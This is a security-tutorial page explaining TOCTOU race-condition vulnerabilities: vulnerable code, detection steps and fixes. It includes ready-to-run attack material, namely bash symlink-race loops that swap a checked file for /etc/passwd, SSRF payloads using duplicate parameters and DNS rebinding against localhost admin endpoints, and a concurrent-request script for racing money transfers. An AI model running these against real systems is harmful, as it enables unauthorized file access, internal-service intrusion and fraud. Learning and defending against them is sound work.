Page cover
githubEdit

hourglass-endTOCTOU Vulnerabilities

Time-of-Check-Time-of-Use: A vulnerability where a resource's state changes between the security check and the actual use, allowing attackers to bypass validation.

chevron-rightAttack Exampleshashtag
circle-info

File System Operations

  • Tech: Any language with file operations

  • Vulnerability: Check file, then read file

Python Vulnerable Code:
import os
import time

def process_upload(filepath):
    # CHECK
    if os.path.exists(filepath):
        if is_safe_file(filepath):
            time.sleep(2)  # Processing delay
            # USE
            with open(filepath, 'r') as f:
                data = f.read()
                process_data(data)
Script exploiting the 2-second gap
#!/bin/bash
while true; do
    # Point to safe file
    ln -sf /tmp/safe.txt /tmp/target.txt
    sleep 0.5
    # Switch to malicious file
    ln -sf /etc/passwd /tmp/target.txt
    sleep 0.5
done
  1. Application checks /tmp/target.txt → points to safe file ✓

  2. 2-second delay (processing)

  3. Attacker changes symlink to /etc/passwd

  4. Application reads file → gets /etc/passwd content

circle-info

DNS Rebinding (Web TOCTOU)

  • Tech: Multi-layer web architectures

  • Vulnerability: Validate URL/hostname, then make request (DNS can change)

PHP validation + Python backend
// validation.php
function validate_url($url) {
    $host = parse_url($url, PHP_URL_HOST);
    $ip = gethostbyname($host);  // DNS LOOKUP #1
    
    if (is_private_ip($ip)) {
        return false;  // Block private IPs
    }
    
    return true;
}

// Later in backend (Python)
def fetch_url(url):
    # DNS LOOKUP #2 (can be different!)
    response = requests.get(url)
    return response.content
Attack Timeline:
T+0s:  PHP validates "evil.com" → DNS returns 1.1.1.1 (public IP) ✓ Pass
T+1s:  Request forwarded to backend
T+2s:  DNS TTL expires, "evil.com" now returns 127.0.0.1
T+3s:  Python backend resolves "evil.com" → Gets 127.0.0.1
T+4s:  Backend makes request to localhost ✗ SSRF!
Use DNS rebinding service
curl "https://target.com/fetch?url=http://make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms:5000/admin"
  • evil.com A record with TTL=1

  • First query: 1.1.1.1

  • Second query: 127.0.0.1

circle-info

HTTP Parameter Pollution TOCTOU

// PHP validation layer
$url = $_GET['url'];  // Gets LAST parameter
if (validate($url)) {  // Validates safe URL
    forward_to_backend();  // Forwards ALL parameters
}
Python backend
url = request.args.get('url')  # Gets FIRST parameter!
fetch(url)  # Uses different URL than validated!
Attack:
# First URL parameter: malicious (used by Python)
# Second URL parameter: safe (validated by PHP)
curl "https://target.com/api?url=http://127.0.0.1:5000/admin&url=https://safe.com"
  1. PHP validates url=https://safe.com

  2. PHP forwards full query string to backend

  3. Python uses url=http://127.0.0.1:5000/admin

circle-info

Database Transactions

  • Tech: Applications without proper transaction isolation

  • Vulnerability: Check balance, then deduct.

chevron-rightDetectionhashtag
circle-info

Step 1: Identify Check-Use Patterns

Look for code patterns like:
if check_condition(resource):
    # ... some time passes ...
    use_resource(resource)
circle-info

Step 2: Measure Time Windows

Time how long operations take
time curl https://target.com/process?file=test.txt
  • If > 1 second, there's a potential TOCTOU window

circle-info

Step 3: Test for Race Conditions

Run multiple parallel requests
for i in {1..100}; do
    curl https://target.com/race-endpoint &
done
wait
  • Look for inconsistent responses

circle-info

Test DNS Rebinding

Use short TTL domain
dig +short evil.com  # First lookup
sleep 5
dig +short evil.com  # Second lookup - different IP?
circle-info

Testing Checklist

chevron-rightExploitation Techniqueshashtag
circle-info

Symlink Race

Exploit file TOCTOU
#!/bin/bash

TARGET="/tmp/upload"

while true; do
    ln -sf /safe/file.txt "$TARGET"
    usleep 100000  # 0.1 seconds
    ln -sf /etc/passwd "$TARGET"
    usleep 100000
done
circle-info

Parallel Requests

import threading
import requests

def race_request():
    # Make request during vulnerable window
    requests.post('https://target.com/transfer', 
                 data={'from': 'attacker', 'to': 'victim', 'amount': 100})

# Launch 100 concurrent requests
threads = [threading.Thread(target=race_request) for _ in range(100)]
for t in threads:
    t.start()
circle-info

DNS Rebinding

Set up DNS server that alternates responses or use existing service:
# 1u.ms service - alternates between two IPs
curl "https://target.com/fetch?url=http://make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms/admin"
  • First DNS query: 1.1.1.1 (passes validation)

  • Second DNS query: 127.0.0.1 (accesses localhost)

chevron-rightPreventionhashtag
circle-info

Method 1: Use File Descriptors (Files)

Vulnerable - Check then open (TOCTOU)
if os.path.exists(filepath):
    if is_safe(filepath):
        with open(filepath) as f:
            data = f.read()
Open once, operate on descriptor
fd = os.open(filepath, os.O_RDONLY)
try:
    if is_safe_fd(fd):
        data = os.read(fd, size)
finally:
    os.close(fd)
circle-info

Method 2: Resolve DNS Once (Web)

Vulnerable - Resolve twice
hostname = parse_url(url).hostname
ip = socket.gethostbyname(hostname)  # First lookup
if is_safe_ip(ip):
    requests.get(url)  # Second lookup!
Resolve once, use IP
hostname = parse_url(url).hostname
ip = socket.gethostbyname(hostname)
if is_safe_ip(ip):
    # Use IP directly
    requests.get(f'http://{ip}', headers={'Host': hostname})
circle-info

Method 3: Atomic Operations (Database)

Vulnerable - Check then update (race condition)
SELECT balance FROM accounts WHERE id = 1;
-- Check if balance > 100
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
Atomic check and update
UPDATE accounts 
SET balance = balance - 100 
WHERE id = 1 AND balance >= 100;
-- Returns 0 rows if balance insufficient
circle-info

Method 4: Consistent Parameter Parsing (Web)

If using multiple layers, ensure consistent behavior
# Option A: Reject duplicate parameters
if len(request.args.getlist('url')) > 1:
    abort(400, "Duplicate parameters not allowed")

# Option B: Validate same parameter used by backend
# If backend uses first, validate first
url_to_validate = request.args.getlist('url')[0]
circle-info

Method 5: Locking (Files)

import fcntl

# Acquire exclusive lock
with open(filepath, 'r+') as f:
    fcntl.flock(f.fileno(), fcntl.LOCK_EX)
    # File is locked, safe to check and use
    if is_safe_content(f.read()):
        process(f)
    fcntl.flock(f.fileno(), fcntl.LOCK_UN)

Last updated